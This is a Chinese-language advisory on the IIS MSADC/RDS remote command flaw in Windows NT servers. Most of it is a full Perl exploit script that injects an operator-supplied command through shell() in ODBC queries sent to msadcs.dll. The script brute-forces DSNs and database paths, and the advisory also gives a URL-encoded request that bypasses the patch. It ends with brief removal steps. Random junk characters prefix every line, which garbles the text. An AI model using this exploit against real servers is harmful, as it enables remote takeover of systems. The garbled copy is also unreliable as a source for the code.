IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
YS k,kU IZeWs wz 涉及程序：
6Km@A M] Microsoft NT server
_QfA'32 S 9)s=%dL 描述：
_OP75 kv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Q$G!-y+"i hf>JW[>Xo 详细：
Ab
-uK|< 如果你没有时间读详细内容的话，就删除:
Ix ! O&_6s c:\Program Files\Common Files\System\Msadc\msadcs.dll
#
9Z];<g 有关的安全问题就没有了。
RvvK`}/6 $d%m%SZxv 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
+mE y7qM 8.Wf^j$+{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
B|gyr4] 关于利用ODBC远程漏洞的描述，请参看:
zS 18K l 3,e^; {w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm > }Gtm nF " GkBX 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$S|bD$e http://www.microsoft.com/security/bulletins/MS99-025faq.asp jTaEaX8+ K+TRt"W8&s 这里不再论述。
IIUoB!` [2~Et+r6g 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
=K~<& l8 >7 B6iR6N /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
?SRG;G1 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
E(*RtOC<W 3iJ4VL7 +'Pf|S #将下面这段保存为txt文件，然后: "perl -x 文件名"
)t{?7w y
TB\#frG #!perl
z{Z'2 ,# #
lhva| # MSADC/RDS 'usage' (aka exploit) script
sL75C|f9 #
LJ`*&J # by rain.forest.puppy
l_5]~N #
PsMoH/+" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
A?<R9A # beta test and find errors!
v#{Sx>lO A
'rfoA6 use Socket; use Getopt::Std;
gUwg\>UC getopts("e:vd:h:XR", \%args);
4\a K C%5 Lqq
RuKi print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[KMW *pA7 2'Cwx-_G` if (!defined $args{h} && !defined $args{R}) {
DKnjmZ:J| print qq~
nh"nSBRxk Usage: msadc.pl -h <host> { -d <delay> -X -v }
=v]\{ . -h <host> = host you want to scan (ip or domain)
n*{aN}auJ -d <seconds> = delay between calls, default 1 second
rrbD0UzFA -X = dump Index Server path table, if available
P~`gWGC} -v = verbose
/ E}L%OvE -e = external dictionary file for step 5
;NQ9A &$) Vw :.'-Oi Or a -R will resume a command session
3 5;|r 8'[g? ~; exit;}
8 Yc'4v#} # {KYsDtvx $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,|6 O}E&
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
W6J%x[>Z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
OV /H&fe if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&0cfTb)dG $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Yci>'$tQ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[Z9
lxZ| HO[W2 b if (!defined $args{R}){ $ret = &has_msadc;
7niZ`doBA die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"g27| e?y C'$w*^me print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)t Yu3*' . "cmd /c ";
0%J0.USkM7 $in=<STDIN>; chomp $in;
/2 z, ?,jL $command="cmd /c " . $in ;
q_iPWmf
p* mbT4K 8 <^ if (defined $args{R}) {&load; exit;}
#C^)W/dP jMUd,j`Opx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E, IeW {6s &try_btcustmr;
ls[0X82F "3 Y(uN print "\nStep 2: Trying to make our own DSN...";
p GZiADT &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D!7-(3R k Il!n
print "\nStep 3: Trying known DSNs...";
k7, &known_dsn;
3Ye{a<ckK <c'0-= print "\nStep 4: Trying known .mdbs...";
I;xSd.- &known_mdb;
Cp"a,% b6u b5i ehoA if (defined $args{e}){
_(7f0p print "\nStep 5: Trying dictionary of DSN names...";
_:+hB9n s &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
L(RI4d lKdd3W"o print "Sorry Charley...maybe next time?\n";
4og/y0n,l" exit;
jouA
]E [&(~{#}M: ##############################################################################
XoNBq9Iu Am
~P$dN sub sendraw { # ripped and modded from whisker
HPryq )z sleep($delay); # it's a DoS on the server! At least on mine...
G)8v~=Bv my ($pstr)=@_;
sHqa(ynK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,A %p9 die("Socket problems\n");
)JrG`CvdU if(connect(S,pack "SnA4x8",2,80,$target)){
AZ.$g?3w select(S); $|=1;
n58yR -" print $pstr; my @in=<S>;
r'(*# select(STDOUT); close(S);
q0C%">>1 # return @in;
zq(4@S-TU } else { die("Can't connect...\n"); }}
Q Yg V[\& oRZ98?Y\B
##############################################################################
OwCbv j0 # }el 7@Gv sub make_header { # make the HTTP request
B#DnU;=O#+ my $msadc=<<EOT
uf^HDr r<L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^c<8|lK L@ User-Agent: ACTIVEDATA
\483S]_-z{ Host: $ip
>[ 2; Content-Length: $clen
l6*MiX]q Connection: Keep-Alive
B:Y F|k}T UgL FU # ADCClientVersion:01.06
?W>`skQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b:5-0uxjs *Z$ W"JP --!ADM!ROX!YOUR!WORLD!
ff;~k?L Content-Type: application/x-varg
Lb?WhjqZ Content-Length: $reqlen
~&aULY?)] XV}}A ^ EOT
D;&\) ; $msadc=~s/\n/\r\n/g;
: *XAQb0 return $msadc;}
jlA6~n !w}b}+]GB ##############################################################################
+ ZK U2N* *c\XQy sub make_req { # make the RDS request
dF[|9% ) my ($switch, $p1, $p2)=@_;
kY?tUpM!TB my $req=""; my $t1, $t2, $query, $dsn;
5%N[hd1Ql Er;q s *f if ($switch==1){ # this is the btcustmr.mdb query
Y7zs)W8xTT $query="Select * from Customers where City=" . make_shell();
2F+"v?n=\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
nE +H)%p $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
jEE!H / 2-DG6\QX| elsif ($switch==2){ # this is general make table query
-u(,*9]cJ* $query="create table AZZ (B int, C varchar(10))";
z4 <_>)p $dsn="$p1";}
YKz #, ?em8nZ' elsif ($switch==3){ # this is general exploit table query
?=LT
^Zp` $query="select * from AZZ where C=" . make_shell();
q1q 9W@H $dsn="$p1";}
*;)O'| RcO"k3J elsif ($switch==4){ # attempt to hork file info from index server
}`2a>N:
& $query="select path from scope()";
(5@H<c ^6 $dsn="Provider=MSIDXS;";}
G pI4QzR qTK(sW elsif ($switch==5){ # bad query
Vz$xV! $query="select";
0zA;%oP $dsn="$p1";}
{:3\M s# 4D2U,Ds
$t1= make_unicode($query);
5'NN wc\ $t2= make_unicode($dsn);
uJCp $req = "\x02\x00\x03\x00";
<T?-A}0uO $req.= "\x08\x00" . pack ("S1", length($t1));
8HFCmY# $req.= "\x00\x00" . $t1 ;
^8EW/$k $req.= "\x08\x00" . pack ("S1", length($t2));
jC_'6sc` $req.= "\x00\x00" . $t2 ;
_}Qtx/Cg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&ocuZ -5` return $req;}
f] #\&" ;-8 .~Sm ##############################################################################
rH!sImz, S9Oz5 _x sub make_shell { # this makes the shell() statement
=y-yHRC7 return "'|shell(\"$command\")|'";}
HA 8A}d~ \wD/TLS} ##############################################################################
U+qyS|i cz,QP'g sub make_unicode { # quick little function to convert to unicode
*ma
w`1 my ($in)=@_; my $out;
pJvPEKN for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
eM_;rM Cr} return $out;}
4P[MkMoC )M.s<Y ##############################################################################
#lrwKHZ+ }< H> 9iJ: sub rdo_success { # checks for RDO return success (this is kludge)
{QM rgyQ E my (@in) = @_; my $base=content_start(@in);
uDie205 if($in[$base]=~/multipart\/mixed/){
r u@#s2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
WI4<2u; return 0;}
lwq:0Rj@Q 2PYn zAsl ##############################################################################
pe
vXixl = 4MTb_ sub make_dsn { # this makes a DSN for us
%h@1lsm1+ my @drives=("c","d","e","f");
LW v<mtuYf print "\nMaking DSN: ";
9tJ0O5 foreach $drive (@drives) {
&'$Bk5 D@G print "$drive: ";
r@3-vLI!u my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-Dd Hl8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
,)Q- o2(C . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
O3@DU#N&s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wHbkF#[:i return 0 if $2 eq "404"; # not found/doesn't exist
R>O_2`c if($2 eq "200") {
_K9`o^g%PJ foreach $line (@results) {
8In\Jo$|q> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(DO'iCxlNh } return 0;}
FL' }~il q13fmK(n-5 ##############################################################################
KM w V;r M5h
r0 R{ sub verify_exists {
7 A\` my ($page)=@_;
zuLW'a6F- my @results=sendraw("GET $page HTTP/1.0\n\n");
(U.Go/A#wE return $results[0];}
0~fjY^( QT,T5Q%JP: ##############################################################################
S/X U4i:aV p[C"K0>:_F sub try_btcustmr {
_li3cXE my @drives=("c","d","e","f");
p-}X=O$ my @dirs=("winnt","winnt35","winnt351","win","windows");
gS'{JZu 2 8X,6U_>#a foreach $dir (@dirs) {
G$>?UQ [ print "$dir -> "; # fun status so you can see progress
{ KWVPeh foreach $drive (@drives) {
%*gf_ GeM print "$drive: "; # ditto
'Tm1Mh0Fso $reqlen=length( make_req(1,$drive,$dir) ) - 28;
b]]8Vs)' $reqlenlen=length( "$reqlen" );
T#Z& * $clen= 206 + $reqlenlen + $reqlen;
>} V?GK36 KQPu9f9 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
- Z, Qj"V if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
KrpIH6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
G\gjCp?! xG/Q% A ##############################################################################
qi4P(s-i "io O_ sub odbc_error {
&'z_:W m my (@in)=@_; my $base;
h-P|O6@Ki my $base = content_start(@in);
a !$kKOK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
}Z"iW/?" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5tl R rf $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>1s a*Wf $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i5}Z k r return $in[$base+4].$in[$base+5].$in[$base+6];}
=npE?wK print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
kG>jb!e@( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zgAU5cw $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6j6CA?| C^ )Imr ##############################################################################
; R*-c m << >+z5D+ sub verbose {
eg;7BZim{ my ($in)=@_;
LE8<JMB return if !$verbose;
;@eP u print STDOUT "\n$in\n";}
fUjo',<s ]pR?/3 ##############################################################################
e S8(HI6{^ E THcZ sub save {
[bh?p+V my ($p1, $p2, $p3, $p4)=@_;
*I]]Ogpq= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v+nXKNL print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
B(W~]i close OUT;}
*J-p AN
& &}_[{fc ##############################################################################
/z-rBfdy^ xk,Uf,,> sub load {
DN2 ]Y' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
tRo Sq;VrS open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z@Rm^g]o @p=<IN>; close(IN);
IBT>&(cnV $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
eft=k} $target= inet_aton($ip) || die("inet_aton problems");
0nw i5 print "Resuming to $ip ...";
1b V
G%N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Nh!`"B2B if($p[1]==1) {
R
(f:U C $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~ wa4kS<> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
B[uyr)$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
:xsZz$ if (rdo_success(@results)){print "Success!\n";}
oZ%uq78#[% else { print "failed\n"; verbose(odbc_error(@results));}}
Cv,WG]E7( elsif ($p[1]==3){
| #yu if(run_query("$p[3]")){
puOtF YZ\ print "Success!\n";} else { print "failed\n"; }}
r)t[QoD1 elsif ($p[1]==4){
H:(B ^uH if(run_query($drvst . "$p[3]")){
oywiX@]~7 print "Success!\n"; } else { print "failed\n"; }}
1`8s
"T exit;}
p cLKE
ZK Km5_P## ##############################################################################
B
/;(#{U; {vD $od i sub create_table {
o9xc$hX} my ($in)=@_;
x]7:MG$ $reqlen=length( make_req(2,$in,"") ) - 28;
W et0 qt] $reqlenlen=length( "$reqlen" );
#*A&jo'E $clen= 206 + $reqlenlen + $reqlen;
Y( ,RJ&7 my @results=sendraw(make_header() . make_req(2,$in,""));
FS"Ja`>j~ return 1 if rdo_success(@results);
n{ QyqI my $temp= odbc_error(@results); verbose($temp);
I$" Z\c8; return 1 if $temp=~/Table 'AZZ' already exists/;
R2) @Q return 0;}
vC,F E
)' kQ=bd{a6 ##############################################################################
,ojJ ;w5D \6
\bD< sub known_dsn {
Ft>B% -; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1sXCu|\q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g V]4R"/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
8> x5| "banner", "banners", "ads", "ADCDemo", "ADCTest");
@ 51!3jeu _h1bVd- foreach $dSn (@dsns) {
X0j\nXk print ".";
6Jgl"Jw8 next if (!is_access("DSN=$dSn"));
e, s S. if(create_table("DSN=$dSn")){
a @? $#> print "$dSn successful\n";
S[L@8z.Sj if(run_query("DSN=$dSn")){
'N{1 b_v? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
](oeMl18R print "Something's borked. Use verbose next time\n";}}} print "\n";}
}P2*MrkcHB Ow- ejo ##############################################################################
*l d)nH{ ^fKKsfIf sub is_access {
\WE/#To my ($in)=@_;
$ U, ]c $reqlen=length( make_req(5,$in,"") ) - 28;
{ZUk!o>m@ $reqlenlen=length( "$reqlen" );
dtuCA"D $clen= 206 + $reqlenlen + $reqlen;
* `OXgkQ my @results=sendraw(make_header() . make_req(5,$in,""));
<w&'E6mU my $temp= odbc_error(@results);
_
(b4|hJ' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
q!&:y7O8 return 0;}
4 4QW&qL!( ]>)}xfL &, ##############################################################################
@{V`g8P> tln}jpCw sub run_query {
=0e> 'Iw2 my ($in)=@_;
Gad&3M0r $reqlen=length( make_req(3,$in,"") ) - 28;
T>| +cg $reqlenlen=length( "$reqlen" );
fCa
lR7! $clen= 206 + $reqlenlen + $reqlen;
9on$ 0 my @results=sendraw(make_header() . make_req(3,$in,""));
}!g$k
$y return 1 if rdo_success(@results);
=YYqgNz+\w my $temp= odbc_error(@results); verbose($temp);
G}
[$M"} return 0;}
-X
EK[ "=?J IQ ##############################################################################
tklS=R^Vn j.Y!E<e4] sub known_mdb {
"7 alpjwb my @drives=("c","d","e","f","g");
!/2kJOSp my @dirs=("winnt","winnt35","winnt351","win","windows");
$xvwnbq#y my $dir, $drive, $mdb;
+S V!QMIg my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l7ES*==&@0 5' Mw{` # this is sparse, because I don't know of many
eJOo~HIWQ my @sysmdbs=( "\\catroot\\icatalog.mdb",
)$Fw<;4 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;).QhHeg> "\\system32\\certmdb.mdb",
o)
eW5s,6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
yj,+7[) PClwGO8'& my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
k:s86q "\\cfusion\\cfapps\\forums\\forums_.mdb",
F8m@mh*8> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@ceL9#:uc "\\cfusion\\cfapps\\security\\realm_.mdb",
=Oh/4TbW[ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
S r7EcT- "\\cfusion\\database\\cfexamples.mdb",
Ky7-6$ "\\cfusion\\database\\cfsnippets.mdb",
My9 fbT "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Z;U\h2TY "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
RV5;EM)~[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
6l?KX "\\cfusion\\database\\smpolicy.mdb",
[Az^i>iH "\\cfusion\\database\cypress.mdb",
4p u>f. "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5o~AUo{ "\\website\\cgi-win\\dbsample.mdb",
JENq?$S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=uR[Jewa "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
do e u` ); #these are just
yw ?UA foreach $drive (@drives) {
nG5:H.) foreach $dir (@dirs){
1lUY27MF foreach $mdb (@sysmdbs) {
bF3}L=z print ".";
o@\q 6xl . if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
CI?M2\<g print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_Ai\XS
Am if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7+p=4i^@Zs print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ZYW=#df R } else { print "Something's borked. Use verbose next time\n"; }}}}}
~_L_un .R Q_R&+ @ju foreach $drive (@drives) {
G0h7MO%x foreach $mdb (@mdbs) {
Et0;1 print ".";
&@D,|kHk if(create_table($drv . $drive . $dir . $mdb)){
~4tu*\P print "\n" . $drive . $dir . $mdb . " successful\n";
t"'aQr if(run_query($drv . $drive . $dir . $mdb)){
{@[z-)N7\, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
E^jb#9\R } else { print "Something's borked. Use verbose next time\n"; }}}}
b jJ2 12 J }
Vz&!N/0i >'lt e& ##############################################################################
-z4pI= 1vBXO bk sub hork_idx {
|P]>[}mD print "\nAttempting to dump Index Server tables...\n";
{^
^)bf|1' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
F .JvMy3 $reqlen=length( make_req(4,"","") ) - 28;
m;nT ?kv $reqlenlen=length( "$reqlen" );
&<sDbN S $clen= 206 + $reqlenlen + $reqlen;
+Te;LJP my @results=sendraw2(make_header() . make_req(4,"",""));
=sW(2Im if (rdo_success(@results)){
#4*~ 4/ my $max=@results; my $c; my %d;
LY^pmak for($c=19; $c<$max; $c++){
B@Q Ate7 $results[$c]=~s/\x00//g;
poYO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h>+,ba"D $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
xV4
#_1( $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
bEE'50 D $d{"$1$2"}="";}
XaV h. foreach $c (keys %d){ print "$c\n"; }
IPoNAi<b } else {print "Index server doesn't seem to be installed.\n"; }}
N?h=Zl| tPHDnh^n] ##############################################################################
/ t083 8I'c 83w sub dsn_dict {
t .&YD x open(IN, "<$args{e}") || die("Can't open external dictionary\n");
x\Bl^1& while(<IN>){
DUxj^,mf, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
G:QaWqUb next if (!is_access("DSN=$dSn"));
uFIr.U$V if(create_table("DSN=$dSn")){
'8v^.gZ print "$dSn successful\n";
\4`~ J@5Y if(run_query("DSN=$dSn")){
jd|? aK;( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s HSZIkB-r print "Something's borked. Use verbose next time\n";}}}
H\7Qf8s|{ print "\n"; close(IN);}
t%wC~1 jX79Nm| ##############################################################################
|~Hlv^6H LoQm&3/ sub sendraw2 { # ripped and modded from whisker
Cyg\FHs sleep($delay); # it's a DoS on the server! At least on mine...
lz?F ,]. my ($pstr)=@_;
A=/|f$s + socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Lf|5miO die("Socket problems\n");
6u`E {$ if(connect(S,pack "SnA4x8",2,80,$target)){
wIIxs_2Q0c print "Connected. Getting data";
G%w hOIFRq open(OUT,">raw.out"); my @in;
)pV 5l|` select(S); $|=1; print $pstr;
GpV"KVJJ/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Q=[A P+ close(OUT); select(STDOUT); close(S); return @in;
q$Z.5EN } else { die("Can't connect...\n"); }}
4i>sOP3
B 1H{M0e ##############################################################################
|'xVU8 R fVVAaI sub content_start { # this will take in the server headers
pZx'%-\-T my (@in)=@_; my $c;
Mj2o>N2, for ($c=1;$c<500;$c++) {
B>}=x4- 8 if($in[$c] =~/^\x0d\x0a/){
o qa]iBO if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]p/f@j?LU else { return $c+1; }}}
fX=o,=-f return -1;} # it should never get here actually
y -j3d)T _Gv [ D ##############################################################################
j_\ns M7 }=CL/JHz sub funky {
#%t&f"j2 my (@in)=@_; my $error=odbc_error(@in);
O`_!G`E if($error=~/ADO could not find the specified provider/){
AV\6K;~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
.'QE o exit;}
\^O#)&5 V if($error=~/A Handler is required/){
E^z\b * print "\nServer has custom handler filters (they most likely are patched)\n";
,;LxFS5\ exit;}
9~ 8 A> if($error=~/specified Handler has denied Access/){
=~M%zdIXv print "\nServer has custom handler filters (they most likely are patched)\n";
jU\v g;nr exit;}}
R0dIxG% by z 2u ##############################################################################
o";5@NH l<fZt#T sub has_msadc {
n\8;4]n my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ve,h]/G my $base=content_start(@results);
T=6fZ;7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
>*#clf; @p return 0;}
d 1YE$ bvY'=
########################
TX7B (JZD i[obQx S94 \LX!n!@ 解决方案：
r[>4b}4s 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
$F V!HD 2、移除web 目录: /msadc
